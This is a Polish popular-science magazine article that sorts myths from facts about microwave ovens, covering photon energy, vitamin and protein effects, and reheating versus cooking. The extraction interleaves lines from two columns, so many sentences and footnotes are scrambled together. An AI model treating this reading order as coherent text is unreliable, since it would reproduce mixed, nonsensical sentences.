winna być porównywalna z rozmiarem potrawy5. Po trzecie, często- kominku wzbudza raczej pozytywne skojarzenia niż strach (pod-
tliwość pracy musi omijać ważne pasma radiowe. czerwień nas miło grzeje). Lubimy rozkoszować się widokiem łąki,
Mając na uwadze powyższe, w konsumenckich urządzeniach sto- kwiatów (światłem widzialnym). A na plaży? Tu zaczyna się problem.
suje się częstotliwość 2.4 GHz (około 12 cm). W gastronomii spotyka Nie bez powodu lekarze zalecają korzystanie z kremów z filtrem, bo
się niekiedy częstotliwość 800 MHz (37 cm). groźny ultrafiolet może powodować raka, uszkadzając DNA komó-
rek skóry6.
No to już wiemy, że ultrafiolet jest pierwszą falą, której fotony
MIT: kuchenka mikrofalowa ogrzewa tylko wodę
mają wystarczającą energię, żeby uszkodzić słabe wiązania białkowe.
Kuchenka mikrofalowa oddziałuje na wszystkie cząsteczki polarne, A mikrofale? Wracając do wzoru 2, fotony w kuchence mikrofalowej
jakie znajdują się w potrawie. Głównie ogrzewa wodę (bo jest jej naj- mają 100.000 razy mniejszą energię niż te ultrafioletowe.
więcej), ale nie pogardzi obróceniem cząsteczki tłuszczu czy alkoho- Żeby opisać sytuację bardziej obrazowo, to gdybyśmy porównali
lu. Niektóre białka i witaminy również poddają się działaniu fal, choć wiązanie chemiczne w białku do czołgu Rudy 102, foton UV byłby
mniej chętnie z uwagi na większą masę cząsteczki. jak pocisk karabinu przeciwpancernego WZ-35 (o energii 12 000 J).

6.  Komórka rakowa powstaje w wyniku błędnego podziału komórki macierzystej, albo przez błąd
5.  Fale dłuższe wymagałyby większego rozmiaru kuchenki (np. drzwiczek o szerokości kilku metrów podczas replikacji DNA (naturalnej), albo przez uszkodzenie macierzystego DNA (sztuczne). Gdy
dla fal ultrakrótkich FM), a fale zbyt krótkie miałyby za małą głębokość wnikania w potrawę i pod- mimo to powstała komórka jest podobna do otaczających, układ odpornościowy nie potrafi jej
grzewały jedynie skórkę. unieszkodliwić, co może powodować niekontrolowany rozrost „złej” tkanki, tworząc raka.

/* REKLAMA */

<69>
PLANETA IT

Foton mikrofalowy byłby w tej skali… lecącą muchą (0,1 J), i do tego linii prostej i prezentują się raczej podobnie do poplątanych słucha-
niewielką. Wniosek, jaki z tego płynie, jest prosty: nie ma takiej moż- wek w kieszeni – istny węzeł gordyjski! Białka zwijają się, skręcają
liwości, by mikrofale tak znacząco wpływały na cząsteczki. i drgają pozornie w sposób chaotyczny, ale z uwagi na nierównomier-
Ponadto w zwykłym piekarniku ogrzewanie następuje za pomo- ny rozkład ładunku elektrycznego w cząsteczce (patrz: elektroujem-
cą fotonów o częstotliwości ponad 10.000 GHz (podczerwień), czyli ność wg Paulinga) nie każde dowolne ustawienie jest możliwe. Na
1000x większej energii niż w przypadku mikrofal. A takiego sposobu Rysunku 4 pokazano przykład naturalnego ułożenia białka obecnego
gotowania raczej nikt nie kwalifikuje jako szkodliwy. w mięśniach – mioglobiny. Ustawienie „we wstążkę” jest charaktery-
styczną cechą wspomnianego białka.

FAKT: obróbka termiczna niszczy wartości


odżywcze
Niestety, ogrzewając jakąkolwiek potrawę, trzeba się liczyć z utratą
wartości odżywczych. Uszkodzeniu ulegają witaminy (jako najbar-
dziej wrażliwe), a także niektóre białka. Główną przyczyną jest tem-
peratura i czas ogrzewania – im jest ona większa, a czas dłuższy, tym
mniej wartości odżywczych pozostaje w potrawie. Gdzie w tym ran-
kingu plasuje się mikrofalówka?
Rysunek 4. Białko: mioglobina (źródło: [Link]
Mikrofale niszczą wartości odżywcze najszybciej ze znanych spo-
sobów ogrzewania. Czy jest się czym martwić? Okazuje się, że nie-
koniecznie. Zarazem mikrofalówka potrzebuje najmniej czasu do Silne pole elektromagnetyczne (np. w kuchence mikrofalowej)
podgrzania potrawy. W efekcie ilość wartościowych składników, ja- zaburza to ustawienie i powoduje układanie się białek w kształt nie-
kie pozostają, nie odbiega od wartości uzyskanych innymi metodami. występujący w przyrodzie.
Istnieją krytyczne głosy mówiące o gorszym rozkładaniu takich
struktur przez enzymy (tym samym trudniejszym wchłanianiu białek
MIT: potrawa wyjęta z mikrofalówki nie zawiera
w organizmie), lecz brak jest jednoznacznych badań wspierających
witamin tę tezę.
Witaminy są dość dużymi cząsteczkami o skomplikowanej budowie.
Powoduje to, że są też bardzo delikatne i łatwo je uszkodzić podczas
FAKT: kuchenka mikrofalowa nie służy do
ogrzewania. Okazuje się, że z uwagi na krótki czas pracy mikrofalów-
gotowania
ki, pozwala ona zachować nawet odrobinę więcej witamin niż alter-
natywne metody. Mowa tu o zachowaniu 10% więcej witamin C i E, Wbrew nazwie kuchenka mikrofalowa nie służy do gotowania. Najle-
50% więcej B1 i B2 oraz 20% więcej witaminy A7. piej nadaje się do podgrzewania już przyrządzonych potraw.
Niestety odmiennie zachowuje się witamina B12, która jest tak Gotowanie, na przykład surowego mięsa, mogłoby powodować
wrażliwa, że jej straty sięgają nawet 40% (dla standardowego gotowa- trudności z uwagi na małą głębokość wnikania mikrofal i relatyw-
nia jest to około 10%). nie dużą moc grzejną – zewnętrzne warstwy mięsa byłyby już gorące
Niemniej, w żadnym z przypadków nie można mówić, że potra- i suche, podczas gdy środek wciąż pozostałby surowy.
wy podgrzewane za pomocą mikrofal nie zawierają witamin.

ZAKOŃCZENIE
FAKT: polarne białka skręcają się inaczej
Sama mikrofalówka nie jest niczym złym, o ile użytkowana jest w spo-
Białka są bardzo skomplikowanymi cząsteczkami. Niektóre składają sób poprawny. Niestety, szybkość i łatwość przygotowania potraw
się z tak wielu atomów, że przypominają bardziej cienką nitkę niż spowodowała ogromny wzrost produkcji wysokoprzetworzonej żyw-
zwartą cząsteczkę. Nie oznacza to jednak, że są skore do zachowania ności „gotowej”, która z jakością i zdrowiem nie ma nic wspólnego.
Bardziej powinniśmy zatem uważać na to, co do kuchenki wkładamy,
7. Według [Link] i źródłowej bibliografii. niż obawiać się tego, co z niej wyjmujemy.

WOJCIECH MACEK
wma@[Link]
Inżynier systemów wbudowanych, pracuje w krakowskiej firmie Semihalf. Służbowo zajmuje się programowaniem systemów
operacyjnych, szybkimi sieciami i rozwiązaniami Data Plane. Prywatnie pasjonat wszystkiego, co ciekawe – od elektroniki do
oprogramowania.

<70> {  3 / 2021 < 97 >  }

You might also like